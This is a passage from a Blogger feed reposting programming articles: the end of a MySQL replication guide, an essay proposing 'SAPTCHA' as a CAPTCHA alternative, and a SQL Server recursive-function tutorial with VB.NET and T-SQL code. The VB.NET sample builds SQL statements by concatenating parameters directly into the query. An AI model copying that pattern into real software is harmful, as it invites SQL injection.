mono"&gt;MASTER_LOG_FILE&lt;/font&gt;&lt;/i&gt; &lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;is the file MySQL gave back when you ran&lt;/font&gt; &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;SHOW MASTER STATUS;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt; &lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;on the master.&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;font size="2" face="Courier New, Courier, mono"&gt;MASTER_LOG_POS&lt;/font&gt;&lt;/i&gt; &lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;is the position MySQL gave back when you ran&lt;/font&gt; &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;SHOW MASTER STATUS;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt; on the master.&lt;/font&gt; &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;Now all that is left to do is start the slave. Still on the MySQL shell we run&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;&lt;font size="2"&gt;START SLAVE;&lt;br&gt;quit;&lt;/font&gt;&lt;/i&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;That's it! Now whenever &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; is updated on the master, all changes will be replicated to &lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;exampledb&lt;/i&gt;&lt;/font&gt; on the slave. Test it!&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;br&gt;  &lt;/p&gt;&lt;p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;&lt;b&gt;Links&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;font size="2" face="Verdana, Arial, Helvetica, sans-serif"&gt;MySQL:&lt;a mce_real_href="http://www.mysql.com" target="_blank" href="http://www.mysql.com"&gt;http://www.mysql.com&lt;/a&gt;&lt;/font&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Source: &lt;a href="http://www.howtoforge.com/mysql_database_replication" target="_new"&gt;http://www.howtoforge.com/mysql_database_replication&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-1801238952711831640?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/1801238952711831640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=1801238952711831640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/1801238952711831640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/1801238952711831640'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2009/07/how-to-set-up-database-replication-in.html' title='How To Set Up Database Replication In MySQL'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-7904163253614758745</id><published>2009-07-23T15:47:00.001+05:30</published><updated>2009-07-23T15:47:37.173+05:30</updated><title type='text'>Advanced MySQL Replication Techniques - O'Reilly Media</title><content type='html'>&lt;a href=http://shar.es/lN7Y&gt;Advanced MySQL Replication Techniques - O'Reilly Media&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Posted using &lt;a href="http://sharethis.com"&gt;ShareThis&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-7904163253614758745?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/7904163253614758745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=7904163253614758745' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7904163253614758745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7904163253614758745'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2009/07/advanced-mysql-replication-techniques-o.html' title='Advanced MySQL Replication Techniques - O&amp;#39;Reilly Media'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-3476100720314839535</id><published>2009-02-04T13:02:00.005+05:30</published><updated>2009-02-04T13:15:00.688+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='SAPTCHA'/><title type='text'>CAPTCHA and proposed alternative, SAPTCHA</title><content type='html'>&lt;h2&gt;Introduction&lt;/h2&gt;(skip to next section if you are familiar with concept of CAPTCHA)&lt;br&gt;&lt;br&gt;CAPTCHA stands for Completely Automated Public Turing Test to Tell Computers and Humans Apart. &lt;a href="http://en.wikipedia.org/wiki/Captcha" target="_new"&gt;[Wikipedia / Captcha]&lt;/a&gt;&lt;br&gt;&lt;br&gt;Simply put, CAPTCHA is a set of methods commonly used to block automated account registration and similar massive abuse by making it costlier to spammer. Most common type of CAPTCHA is visual CAPTCHAs that test for image recognition. Though, at current moment, computers (using good software) is no worse than humans at single character image recognition (&lt;a href="http://www.ceas.cc/papers-2005/160.pdf" target="_new"&gt;source&lt;/a&gt;) (fortunately spammers don't bother to use such software yet.)&lt;br&gt;&lt;br&gt;Most likely you have already been tested by CAPTCHAs - that's those images od distorted and obstructed letters that you must enter into text field to complete registration of email account or to post reply to blog.&lt;br&gt;&lt;br&gt;Verbal CAPTCHA would not discriminate against vision impaired, but computer will only be able to generate very limited subset of questions and thus it would be relatively simple to defeat such CAPTCHA. Audio CAPTCHAs is uncommon because one would still need visual one and it would double effort.&lt;br&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;CAPTCHAs has numerous problems(see wikipedia article linked above for good overview); there is existing methods of character recognition, plus it is often possible to defeat captcha knowing the algorithm it uses.&lt;br&gt;&lt;br&gt;Intuitively, while computers is not smart enough to pass true &lt;a href="http://en.wikipedia.org/wiki/Turing_test" target="_new"&gt;Turing test&lt;/a&gt;, computers may be smart enough to fool other computers.&lt;br&gt;&lt;br&gt;In some CAPTCHAs, the image is obscured in a way that makes it harder to read for human, but will have no effect on computer - for example, computer won't have any problem at all filtering out colored background, but it can confuse human(especially colorblind).&lt;br&gt;&lt;br&gt;Often, human don't know how many letters should be there, and random lines may look like yet another distorted letter, confusing human but not computer that knows how many letters should be there. Some letters in common fonts differ too little to be reliably recognized by human when distorted (such as 0,O ; I,l,i,!,j ; vv,w and so on). Humans recognize heavily distorted letters in handwriting based on the context, but letters in CAPTCHAs lack context.Last but not least, such methods unnecessarily discriminate against disabled who can not see the image.&lt;br&gt;&lt;br&gt;&lt;h2&gt;SAPTCHA.&lt;/h2&gt;SAPTCHA stands for Semi Automatic Public Turing Test to Tell Computers and Humans Apart.&lt;br&gt;&lt;br&gt;The key concept is same as with CAPTCHA: user is presented with test question or instructions and must give correct answer to use resource. Main difference is that computer does not try to automatically generate "unique" test questions on each query; only verification of answer is automatic. Instead, unique test question and answer[s] is set by moderator or owner when SAPTCHA is installed, and should be easy to change if needed.&lt;br&gt;&lt;br&gt;SAPTCHA is proposed as more accessible alternative to CAPTCHA that may replace CAPTCHA in services such as most blogs and forums. SAPTCHA works as lightweight CAPTCHA.&lt;br&gt;&lt;br&gt;The concept follows from observation that there is many cases where automated generation of unique test question or image does not add much to prevention of abuse - spammer do not need to pass test more than once on same forum or blog anyway. Often, there's no human spammer interacting with website at all [who wouldn't love to think that his site is so important that it is spammed personally :-)]; in such cases static question is not worse at stopping bot than dynamic. Human generated questions has much broader diversity and is thus harder for computer to answer. It must be also noted that CAPTCHA itself is not really "completely automatic" - human has to write and maintain test software, which will not change often but is costly to develop.&lt;br&gt;&lt;br&gt;Example questions: User is given instruction like "write [no i'm not a computer!] in this text field" or "write 'i'm human' in reverse" or "write[or copy-paste] web address of this page there" (please don't use too similar things. No default questions and answers. Think up something yourself. Don't try to be clever. It should be not more complex to understand and do than rest of registration instruction and resource usage, and thus shouldn't decrease website's accessability(!). It's better if answer is more than 1 character long or if there is delay or block for bots that "try again".)&lt;br&gt;&lt;br&gt;Bots can try to understand text written by human in normal language (very hard problem in AI) or try to guess (some delay can make it pointless) or try some common test answers if any (but the common test questions and answers will quickly disappear)&lt;br&gt;&lt;br&gt;Spammer have to manually answer the question to start spamming. This is exactly same problem as with CAPTCHA at registration. Similarly to CAPTCHA at registration, human invervention is necessary to stop spam. - account must be banned and for SAPCHA question must be changed(if bot can reuse answer automatically). &lt;br&gt;&lt;br&gt;In a way, SAPTCHA can be viewed as light weight disposable CAPTCHA test that is cheap to replace when it get compromised. &lt;br&gt;&lt;br&gt;&lt;h2&gt;Comparison&lt;/h2&gt;&lt;h4&gt;Sample use scenarios&lt;/h4&gt;SAPTCHA&lt;br&gt;&lt;br&gt;s.0) Normal user comes accross your blog. If he can answer question, he can post reply, unless you made bad question/instructions. If user can't read your question, probably he can't read your blog either, so the SAPTCHA shouldn't make it less accessible.&lt;br&gt;&lt;br&gt;s.1) Spammer bot comes accross your blog. No spamming happens. Bots can't understand human language yet.&lt;br&gt;&lt;br&gt;s.2) Spammer human comes accross your blog/forum, answer question, register account, and possibly add answer and account to spambot database or proceeds to spam manually. You are spammed. It will take a moderator to ban spammer and stop spam; the banning form may also ask moderator for new question and new answer that needs to be provided if spamming was done by bot that "knows" answer to question.&lt;br&gt;&lt;br&gt;CAPTCHA&lt;br&gt;&lt;br&gt;s.0) Normal user comes accross your blog/forum. If he can see, and CAPTCHA is simple he can post reply with small hastle if he doesn't have to pass CAPTCHA every time he replies. If CAPTCHA is "unbreakable" or uses bad colors, he will need few tries and is going to get annoyed, especially so if he need to pass it for every reply. If he is blind or otherwise can't see it, no way.&lt;br&gt;&lt;br&gt;s.1) Spammer bot comes accross your blog. You might get spammed if bot can recognize image (it is possible if you are using popular CAPTCHA), but most likely you won't.&lt;br&gt;&lt;br&gt;s.2) Spammer human comes accross your blog/forum. He can answer question, register account, add it to spambot database. You are spammed. It will take moderator to ban the bot, and delete spam[assuming that spam filters alone don't suffice without CAPTCHA]; so you still need human intervention from your side. As have been said before, if you'd ask to pass CAPTCHA for every message it'd be too annoying for normal users as well.&lt;br&gt;&lt;br&gt;&lt;h2&gt;Comparison of SAPTCHA versus CAPTCHA features&lt;/h2&gt;Advantages of SAPTCHA over CAPTCHA:&lt;br&gt;&lt;br&gt;&lt;ol&gt;&lt;li&gt; SAPTCHA software is much easier to implement than CAPTCHA&lt;/li&gt;&lt;li&gt; Textual SAPTCHA does not discriminate against disabled who can use internet. [Audio CAPTCHA plus visual CAPTCHA would double effort and is thus very uncommon in practice]&lt;/li&gt;&lt;li&gt;There is methods for breaking image based CAPTCHAs. If you use popular CAPTCHA, you may still get spammed by entirely automatic bot. SAPTCHAs can be much more varied and there won't be common method of breaking until it becomes possible for computers to interpret human instructions in normal human language.&lt;/li&gt;&lt;/ol&gt;Advantages of CAPTCHA over SAPTCHA (disadvantages of SAPTCHA):&lt;br&gt;&lt;br&gt;&lt;ol&gt;&lt;li&gt;With SAPTCHA, when banning spammer, moderator must enter new question and answer. With CAPTCHA, though, there's point 1 above (&amp;amp; CAPTCHA code won't remain useful forever either), so for not extremely popular websites it seems highly unlikely that even in long run CAPTCHA would save work.&lt;/li&gt;&lt;li&gt; If SAPTCHA is used to protect registration, it is easier to register many accounts at once than with CAPTCHA; may matter with popular email services.&lt;/li&gt;&lt;li&gt; Verbal SAPTCHA is problematic when it is multi-language resource that needs frequent changes. &lt;/li&gt;&lt;li&gt; When it is something like photo gallery, visual CAPTCHA is allright as it doesn't contribute to inaccessability.&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;Conclusion:&lt;/h2&gt;SAPTCHA can be viable alternative to CAPTCHA for web resources like forums and blogs and in other situations when spammer can not afford to target resources individually. With textual resources, SAPTCHA does not lessen accessability of resource.&lt;br&gt;&lt;br&gt;It is suggested that forum and blogging software should offer support for SAPTCHA in addition to existing support for CAPTCHA, thus allowing administrator to use SAPTCHA and switch to CAPTCHA only when and if SAPTCHA is found to be really inadequate in this situation (which is expected to happen only on very popular web resources). By the method of operation, SAPTCHA can give only limited protection against account registration abuses when abuser is willing to solve SAPTCHA and consequently run bot that register really many accounts (e.g. for use of email as storage), which would be prevented by CAPTCHA on every registration.&lt;h2&gt;Live example of question&lt;/h2&gt;John had one thousand apples and five oranges. He ate as many of his apples as there is letters in word "apple". Also he ate two bananas :-). How many appl es John have?&lt;br&gt;&lt;br&gt;&lt;form method="post" action="http://dmytry.pandromeda.com/texts/saptcha_example.php"&gt;Your answer:&lt;input size="12" maxlength="12" name="saptcha_answer" type="text"&gt; &lt;input value="submit" name="submit" type="submit"&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;If you are annoyed by CAPTCHA, think about alternatives and discuss concept of SAPTCHA with others. Make the best meme win. &lt;br&gt;&lt;br&gt;&lt;p&gt;Source: &lt;a href="http://dmytry.pandromeda.com/texts/captcha_and_saptcha.html" target="_new"&gt;http://dmytry.pandromeda.com/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-3476100720314839535?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/3476100720314839535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=3476100720314839535' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/3476100720314839535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/3476100720314839535'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2009/02/captcha-and-proposed-alternative.html' title='CAPTCHA and proposed alternative, SAPTCHA'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-6673167468800089210</id><published>2008-08-13T13:29:00.001+05:30</published><updated>2008-08-13T15:10:47.875+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASP'/><category scheme='http://www.blogger.com/atom/ns#' term='Recursive SQL Functions'/><title type='text'>Recursive SQL User Defined Functions</title><content type='html'>&lt;p&gt;In this article we will  cover the new feature of SQL Server 2000 and the ability to create user defined  functions. We will focus on creating recursive queries in this article to  extend upon previous articles.&lt;br&gt;  Being the developer for this directory, I had a need to perform  several recursive methods. Any time you are creating a tree like &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/1857/parentid/191/Default.aspx" target="_new"&gt;data&lt;/a&gt; structure like directories, org charts, etc. You will need to perform some kind  of recursion. In this example, I wanted to be able to provide a count of all  descendents sites under a particular category as you see on WWWCoder.com when  navigating the site. Each category contains a count of descendent sites of all  categories under that specific category.&lt;br&gt;  In the past there were several ways to perform this, one simple  method was to create a field in the categories table that would get incremented  each time a site was added. This was accomplished using a recursive method in  the ASP.Net code that would create a new connection to the &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/1857/parentid/191/Default.aspx" target="_new"&gt;database&lt;/a&gt; each time a new record was added. It did eliminate the need to call a recursive  function for each time a person requested a page to display the category  navigation. Basically the method performed would accept a category id and a  string value to increment or decrement the count contained in the site count  field:&lt;/p&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/pre&gt;&lt;pre&gt;Public Sub UpdateParentCount(ByVal ParentID As Integer, ByVal AddSubtract As String)&lt;/pre&gt;&lt;pre&gt; Dim SQLQ As String = &amp;quot;UPDATE Categories Set SiteCount = SiteCount &amp;quot; &amp;amp; AddSubtract &amp;amp; &amp;quot; 1&amp;quot;&lt;/pre&gt;&lt;pre&gt; If AddSubtract = &amp;quot;+&amp;quot; Then 'add a new icon.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp; SQLQ = SQLQ &amp;amp; &amp;quot;, DateSiteAdded = '&amp;quot; &amp;amp; Date.Today &amp;amp; &amp;quot;'&amp;quot;&lt;/pre&gt;&lt;pre&gt; End If&lt;/pre&gt;&lt;pre&gt; SQLQ = SQLQ &amp;amp; &amp;quot; WHERE CategoryID=&amp;quot; &amp;amp; ParentID&lt;/pre&gt;&lt;pre&gt; Dim secondConnection As New SqlConnection(GetDBConnectionString)&lt;/pre&gt;&lt;pre&gt; Dim secondCommand As New SqlCommand(SQLQ, secondConnection)&lt;/pre&gt;&lt;pre&gt; secondCommand.CommandType = CommandType.Text&lt;/pre&gt;&lt;pre&gt; secondConnection.Open()&lt;/pre&gt;&lt;pre&gt; secondCommand.ExecuteNonQuery()&lt;/pre&gt;&lt;pre&gt; secondConnection.Close()&lt;/pre&gt;&lt;pre&gt; secondConnection = Nothing&lt;/pre&gt;&lt;pre&gt; Dim SQLQ2 As String = &amp;quot;SELECT ParentID FROM Categories Where CategoryID = &amp;quot; &amp;amp; ParentID&lt;/pre&gt;&lt;pre&gt; Dim myConnection As New SqlConnection(GetDBConnectionString)&lt;/pre&gt;&lt;pre&gt; Dim myCommand As New SqlCommand(SQLQ2, myConnection)&lt;/pre&gt;&lt;pre&gt; myConnection.Open()&lt;/pre&gt;&lt;pre&gt; Dim result As SqlDataReader = myCommand.ExecuteReader(CommandBehavior.CloseConnection)&lt;/pre&gt;&lt;pre&gt; If result.Read Then&lt;/pre&gt;&lt;pre&gt;&amp;nbsp; UpdateParentCount(result(&amp;quot;ParentID&amp;quot;), AddSubtract)&lt;/pre&gt;&lt;pre&gt; End If&lt;/pre&gt;&lt;pre&gt; myConnection.Close()&lt;/pre&gt;&lt;pre&gt; myConnection = Nothing&lt;/pre&gt;&lt;pre&gt;End Sub &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;p&gt;This wasn't too bad of solution, since I was able to eliminate  the hits on the database for the count. The problem here is a count can become  incorrect if any changes are performed outside of the application.&lt;br&gt;  The solution for me had to meet the following requirements:  reduce traffic between the Web &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/1857/parentid/191/Default.aspx" target="_new"&gt;server&lt;/a&gt; and the database server, and make sure an accurate count is always available in  the database regardless of what modifies the records that it contains. In order  to accomplish this, the count method was moved out of the ASP.Net code and into  the database. SQL Server 2000 &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/1857/parentid/191/Default.aspx" target="_new"&gt;supports&lt;/a&gt; User Defined Functions that can be called from a stored procedure, in addition,  the function can be recursive up to 32 levels. Since I can't see a need to go  beyond 32 levels deep of categories, I opted to use the functions for creating  the count. Here is an example of using a function from within a stored  procedure:&lt;/p&gt;&lt;pre&gt;ALTER procedure GetCategories&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;@ParentID&amp;nbsp;&amp;nbsp; int&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;as&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;BEGIN&lt;/pre&gt;&lt;pre&gt;SELECT &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CategoryID, CategoryName, Path, SiteCount, DateSiteAdded, &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ParentID, SortColumn, dbo.CountChildren(CategoryID, 0) &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;As CulCount&lt;/pre&gt;&lt;pre&gt;FROM &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Categories&amp;nbsp; &lt;/pre&gt;&lt;pre&gt;WHERE &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ParentID = @ParentID&lt;/pre&gt;&lt;pre&gt;ORDER BY &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SortColumn, CategoryName&lt;/pre&gt;&lt;pre&gt;END &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;p&gt;You'll  notice in the SQL stored procedure's select statement there is a call to a  function called CountChildren, in this function we pass the category id of the  current category and the current cumulative count of the sites within the  category. &lt;/p&gt;&lt;pre&gt;ALTER FUNCTION dbo.CountChildren&lt;/pre&gt;&lt;pre&gt;(@id int, @cChildren int) &lt;/pre&gt;&lt;pre&gt;RETURNS bigint &lt;/pre&gt;&lt;pre&gt;AS&lt;/pre&gt;&lt;pre&gt;BEGIN&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;IF EXISTS (SELECT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sites.SiteCatID&lt;/pre&gt;&lt;pre&gt;FROM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dbo.Categories &lt;/pre&gt;&lt;pre&gt;INNER JOIN&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dbo.Sites &lt;/pre&gt;&lt;pre&gt;ON &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dbo.Categories.CategoryID = dbo.Sites.SiteCatID&lt;/pre&gt;&lt;pre&gt;WHERE &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dbo.Categories.ParentID = @id OR dbo.Sites.SiteCatID = @id)&lt;/pre&gt;&lt;pre&gt;BEGIN &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;SET @cChildren = @cChildren + (&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Count(SiteCatID) &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sites &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SiteCatID = @id AND SiteActive = 1)&lt;/pre&gt;&lt;pre&gt;&amp;nbsp; SELECT &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@cChildren = dbo.CountChildren(CategoryID, @cChildren) &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Categories &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ParentID = @id &lt;/pre&gt;&lt;pre&gt;END &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;RETURN @cChildren &lt;/pre&gt;&lt;pre&gt;END  &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;p&gt;As you can see the function calls itself just as a recursive  function in VB.Net would do, each time incrementing the cumulative count of all  descendents of a particular category. In the end we have all the information  generated on the SQL machine, and then it returns what we need without having  to call a recursive method in the ASP.Net page and generate all the additional  database calls over the &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/1857/parentid/191/Default.aspx" target="_new"&gt;network&lt;/a&gt;.&lt;br&gt;  By: Patrick Santry, Microsoft MVP (ASP/ASP.NET), developer of  this site, author of books on Web technologies, and member of the DotNetNuke  core development team. If you're interested in the services provided by  Patrick, visit his company Website at &lt;a href="http://www.santry.com" target="_new"&gt;Santry.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Source: &lt;a href="http://www.wwwcoder.com/Directory/tabid/68/type/art/site/1857/parentid/191/Default.aspx" target="_new"&gt;http://www.wwwcoder.com/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-6673167468800089210?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/6673167468800089210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=6673167468800089210' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6673167468800089210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6673167468800089210'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/08/recursive-sql-user-defined-functions.html' title='Recursive SQL User Defined Functions'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-7794755377572990639</id><published>2008-08-13T13:24:00.003+05:30</published><updated>2008-08-13T15:12:14.344+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASP'/><category scheme='http://www.blogger.com/atom/ns#' term='Recursive Functions'/><title type='text'>Recursive Sub-Procedures in ASP</title><content type='html'>&lt;p&gt;This tutorial explains how  to do recursive subroutines in ASP (VBScript). Use this algorithm to create  threaded discussions, directories, or whatever use you have for 